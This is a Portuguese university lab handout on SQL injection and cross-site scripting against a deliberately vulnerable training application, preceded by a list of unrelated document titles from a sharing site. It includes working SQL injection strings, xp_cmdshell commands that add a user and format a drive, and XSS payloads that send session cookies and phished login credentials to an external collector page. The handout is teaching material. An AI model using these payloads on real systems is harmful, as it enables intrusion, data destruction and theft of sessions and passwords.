Aula 6: Vulnerabilidades Web

Documentos relacionados
Quando a máquina terminar o arranque e lhe pedir as credenciais para entrar, introduza as seguintes:

Segurança Informática e nas Organizações. Guiões das Aulas Práticas

Lidando com Armazenamento de Dados

Cross-Site Scripting. Paulo Ricardo Lisboa de Almeida. 1 Universidade Positivo

Cadeira de Tecnologias de Informação. Ano lectivo 2009/2010. Sites dinâmicos. Com Expression Web TI2009/10 EWD_1. Filipa Pires da Silva (2009)

Introdução 20 Diagramas de fluxos de dados 20 O processo de elaboração de DFD 22 Regras práticas para a elaboração de DFD 24 Dicionário de dados 26

Cross-Site Scripting (XSS): Entendendo o conceito e seus tipos

Ataques a Aplicações Web

RELATÓRIOS PENTEST S

AULA APLICAÇÕES PARA WEB SESSÕES E LOGIN E SENHA

Bases de Dados. Lab 7: Desenvolvimento de aplicações com PHP

Tarefa Orientada 9 Base de Dados Pagamentos

Tarefa Orientada 17 Scripts

Petter Anderson Lopes Arbitragem, Desenvolvimento Seguro, Segurança Ofensiva e Forense Computacional

2.1-Criar BD e Tabelas.

LAB 7 Cookies e Sessões em PHP

Desenvolvimento de Sistemas Web Prof. Leandro Roberto. Aula 18 JavaScript: Eventos MySQL PHP (insert, update e delete)

Escrever scripts de PHP com HTML

Banco de Dados SQL injection

IMPLEMENTAÇÃO DE BANCO DE DADOS

Nota prévia... XXI 1. PHP, Apache Server e MySQL... 1

Segurança na WEB Ambiente WEB estático

22/05/2012 CRIANDO UM PROJETO COM TELAS ESTRUTURA DA APLICAÇÃO LOGIN BANCO DE DADOS TAREFAS PHP MYSQL PARTE 2

SQL CREATE DATABASE. MySQL, SQL Server, Access, Oracle, Sybase, DB2, e outras base de dados utilizam o SQL.

Manual de instalação do SQL 2012

SEGURANÇA EM APLICAÇÕES WEB PROF.: PAULO RICARDO LISBOA DE ALMEIDA

Aula 4. Ivan Sendin. 30 de agosto de FACOM - Universidade Federal de Uberlândia SEG-4.

Microsoft Office

Integração por Web Services

Conselho Geral da Ordem Dos Advogados Departamento Informático

Como criar um banco de dados usando o mysql

Maycon Maia Vitali ( 0ut0fBound )

Fonte: - Illustration by Gaich Muramatsu

SQL (com MySQL) Apresentação OBJETIVOS. Programação

Oracle Database 10g: Fundamentos de SQL e PL/SQL

Bases de Dados. Lab 1: Introdução ao ambiente

Benvindo ao Curso de Introdução ao Firebird com Ferramenta de Relatórios!

saída durante o runtime Usando Functions de uma Única Linha para Personalizar Relatórios Mostrar as diferenças entre as functions SQL de uma única

NOTA: Neste tutorial foi utilizado o Visual Studio 2010 para criar o Projeto Web no qual iremos realizar os passos abaixo.

VULNERABILIDADES WEB v.2.2

Segurança Web com PHP 5 Douglas V. Pasqua Zend Certified Enginner

XSS - CROSS-SITE SCRIPTING

Bases de Dados 2005/2006. Aula 5

SMA PROCEDIMENTO DE ACESSO AO SISTEMA SMA PROCEDIMENTO DE ACESSO AO SISTEMA

3.1-Criar BD e Tabelas.

SQL INJECTION: ENTENDENDO E EVITANDO. MAGALHÃES, Felipe. B. ¹, BASTOS, Rafael. R² RESUMO

AULA 8. Ambientes Visuais 8.1. OBJETIVO DA AULA SQL (Structured Query Language)

Taxonomia Comum para a Rede Nacional de CSIRTs

AJAX. Prof. Marcos Alexandruk

Gestão de Segurança da Informação. Segurança de Banco de Dados ( SQL Injection, APBIDS, Modelagem )

Nomes: Questão 1 Vulnerabilidade: SQL Injection (Injeção de SQL):

ORACLE 11 G INTRODUÇÃO AO ORACLE, SQL,PL/SQL

Criação de uma aplicação Web ASP.NET MVC 4

Banco de Dados. -Aprendendo conceitos -Usando o SQL Conf para: -Conectar no banco de dados -Criar, alterar, excluir e consultar estruturas de tabelas

Prof. Esp. Andrew Rodrigues 1

Segurança em aplicações Web. Exemplos e Casos Práticos em

MYSQL - PRIMEIROS COMANDOS CRIAÇÃCO DO BD E DAS TABELAS, INSERÇÃO E CONSULTA DE REGISTROS. create database [if not exists] <nome>

Segurança em Sistemas Web. Addson A. Costa

COMPETÊNCIAS ESPECÍFICAS Compreender e utilizar a linguagem SQL, na construção e manutenção de uma base de dados.

Conexão com Banco de Dados, Inserção, exclusão e atualização de registros

DO BÁSICO AO AVANÇADO PARA MANIPULAÇÃO E OTIMIZAÇÃO DE DADOS. Fábio Roberto Octaviano

Rápida revisão do Modelo Relacional

Aplicação Web Zend Framework 2 Cliente de Aplicação Asp.Net Web API

f. Exemplo: verificar condição de aprovação de alunos

Internet. Explorar diferentes formas de informação disponível na Internet:

Seguinte Contas de Correio Eletrónico Seguinte Ficheiro Definições da Conta Adicionar Conta Configuração da Conta Automática O Seu Nome

Instale facilmente o OpenVPN num Mac com o Tunnelblick

Banco de Dados. Conversão para o Banco de Dados SisMoura

OpenTouch Conversation One

Instruções para utilização dos Fóruns pelo Grupo dos Consensos Psiquiátricos para Clínicos Gerais 2005

igrpweb Índice gráfico Cliente NOSi igrpweb Referência Versão 1.00 Status

SMA PROCEDIMENTO DE ACESSO AO SISTEMA

Agrupamento Escolas de Alvalade. Nova plataforma de Microsoft Office 365. A. Instruções para acesso à plataforma de via web

Transcrição:

Aula 6: Vulnerabilidades Web Exploits of a Mom http://xkcd.com 1.1 Objectivos: Compreender duas vulnerabilidades encontradas em aplicações web: SQL Injection; Cross-site Scripting. Pensar sobre formas de evitar as vulnerabilidades. 1.2 Instruções: Open Web Application Security Project (OWASP): http://www.owasp.org/index.php/main_page SQL Injection Walkthrough: http://www.securiteam.com/securityreviews/5dp0n1p76e.html Advanced SQL Injection In SQL Server Applications: http://www.nextgenss.com/papers/advanced_sql_injection.pdf 1.2.1 SQL Injection 1 SQL Injection on Wikipedia: http://en.wikipedia.org/wiki/sql_injection How to exploit the SQL Injection Attack (Example App) http://sqlzoo.net/hack/index.html A empresa Fabrikam Lda desenvolveu uma nova funcionalidade de pesquisa de produtos na sua página. No entanto a sua implementação é bastante deficiente. Vamos explorar essas deficiencias para conduzir um ataque conhecido como SQL Injection. 1 Adaptado de http://channel9.msdn.com/wiki/default.aspx/securitywiki.inputvalidationtrainingmodules 1/4

1. Começe por abrir um browser no endereço http://193.136.60.49:6789/sql/ e utilize a aplicação para procurar produtos. 2. Imagine como poderá ser o código mais simples que executa esta consulta. Escreva uma possível consulta SQL, assumindo que o texto a procurar se encontra numa variável chamada DATA e é simplesmente concatenado à cadeira de caracteres que constitui a consulta. (dica: select <cola>, <colb> from <Tabela> where <colb> like %DATA% order by <cola>;) 3. Utilizando a resposta anterior, imagine uma forma de fazer a consulta devolver todos os registos. (dica: select <cola>, <colb> from <Tabela> where <colb> like %DATA% OR 1=1; -- order by <cola>;) A partir do momento que tiver realizado este passo com sucesso, encontra-se em posição de efectivamente enviar qualquer tipo de comando SQL para ser executado! 4. Descobrir informação sobre a base de dados: a. Podemos utilizar a clausula UNION para adicionar linhas à consulta SQL. Nessas linhas retornamos a informação que pretendemos. Alguns exemplos: i. UNION select null,name,null from sys.databases; (Utilizamos null para fazer com que o número de colunas da consulta adicionada seja igual ao nº de colunas da consulta original. Neste caso devolvemos o nome das bases de dados na terceira coluna, através de uma consulta à tabela de sistema sys.databases). ii. UNION select null, table_name, null from <BaseDeDados>.information_schema.tables; iii. UNION select null, column_name, null from <BaseDeDados>.information_schema.columns where table_name='<tabela>'; iv. UNION select null,<cola>+', '+<ColB>+', '+< >,null from <Table>; 5. Introduzir informação na Base de Dados: a. update <Tabela> set <ColA>=<Valor> where <ColB>=<Valor>; 6. Dependendo da configuração e do servidor de base de dados, temos uma variedade de opções. Apenas alguns exemplos possíveis (não funcionam neste caso particular): a. exec xp_cmdshell 'net user hacker P@ssw0rd /add' b. ' exec xp_cmdshell 'format c:' c.. 7. Que medidas poderiam tomar tanto o programador como o administrador deste sistema para prevenir este tipo de ataques? 2/4

1.2.2 Cross-site Scripting 2 Vulnerability Test Application: http://testasp.acunetix.com/ XSS on Wikipedia: http://en.wikipedia.org/wiki/cross_site_scripting Google XSS Example http://shiflett.org/blog/2005/dec/google-xss-example Real World XSS http://sandsprite.com/sleuth/papers/realworld_xss_2.html A empresa Fabrikam Lda permite que sejam afixadas mensagens públicas no seu site. As mensagens podem ser afixadas por utilizadores anónimos ou utilizadores autenticados. Infelizmente, o texto das mensagens não é adequadamente validado antes de ser apresentado aos utilizadores... 1. Abra o Internet Explorer no endereço http://193.136.60.49:6789/xss/ e utilize a aplicação para afixar e ver mensagens bem intencionadas : a. A implementação desta aplicação utiliza ASP.NET e foi muito simplificada; Temos duas configurações relevantes no ficheiro web.config: i. <pages validaterequest="false"/> ii. <authentication mode="forms"/> Se não souber, procure saber qual é o significado destas opções. b. A aplicação aceita como utilizador da aplicação válido qualquer login com a password dei. 2. Agora vamos tomar o papel de um atacante : a. Abra o endereço da aplicação. Verifique que não está ligado como um utilizador da aplicação (faça login utilizando a password dei ). b. Agora podemos construir uma mensagem para tirar partido de uma vulnerabilidade do tipo XSS. Alguns exemplos: i. <a href="x" onmouseover="javascript:alert('código javascript Executado!')">X</a> ii. <a href="x" onmouseover="javascript:alert('cookie='+document.cookie)">x</a> iii. <a href="x" onmouseover="javascript:document.location.replace('http://www.dei. isep.ipp.pt')">x</a> iv. %3C%61%20%68%72%65%66%3D%22%58%22%20%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%22%6A %61%76%61%73%63%72%69%70%74%3A%64%6F%63%75%6D%65%6E%74%2E%6C%6F%63%61%74%69%6F %6E%2E%72%65%70%6C%61%63%65%28%27%68%74%74%70%3A%2F%2F%77%77%77%2E%64%65%69%2E %69%73%65%70%2E%69%70%70%2E%70%74%2F%27%29%22%3E%58%3C%2F%61%3E v. <a href="x" onmouseover="javascript:document.location.replace('http://www.dei. isep.ipp.pt/~npereira/aulas/esegi/07/xss/rcv.php?cookie='+document.cookie)">x</a> vi. <br><br>please login with the form below before proceeding:<form action="http://www.dei.isep.ipp.pt/~npereira/aulas/esegi/07/xss/rcv.php"><table> <tr><td>login:</td><td><input type=text length=20 name=login></td></tr><tr><td>password:</td><td><input type=text length=20 name=password></td></tr></table><input type=submit value=login></form> vii. <input type='button' value='change Personality!' onclick='changepersonality()'/> <script> function changepersonality() { var image = document.images[0] if (image.src.match('isep')) { image.src = 'art/fabrikam.gif'; } else { image.src = 'http://www.dei.isep.ipp.pt/~npereira/images/isep.jpg'; } } </script> 2 Adaptado de http://channel9.msdn.com/wiki/default.aspx/securitywiki.inputvalidationtrainingmodules 3/4

3. Agora tomamos novamente o papel de um utilizador legítimo: a. Faça login utilizando a password dei ; b. Leia a mensagem introduzida pelo atacante; c. Verifique o código da página. Conforme a mensagem que experimentou, poderá verificar que atacante conseguiu controlar totalmente o conteúdo da página; d. O atacante consegue também adquirir o cookie com informação sobre a sessão do utilizador. Isto poderá significar que o atacante consegue agir como se fosse o utilizador legítimo. Acha que este ataque seria prevenido por um canal de comunicação seguro? 4/4

http://en.wikipedia.org/wiki/cross_site_scripting http://www.cgisecurity.com/articles/xss-faq.shtml XSS vulnerabilities in Php-Nuke 6.x through 7.3: http://cve.mitre.org/cgi-bin/cvename.cgi?name=2004-2020 SQL injection vulnerability in index.php: http://cve.mitre.org/cgi-bin/cvename.cgi?name=2004-2020 Google XSS Example http://shiflett.org/blog/2005/dec/google-xss-example http://www.phy.duke.edu/~icon/work/clac/examples/inigo.php Real World XSS http://sandsprite.com/sleuth/papers/realworld_xss_2.html http://www.elated.com/articles/javascript-and-cookies/ 1.3 Questões: 5/4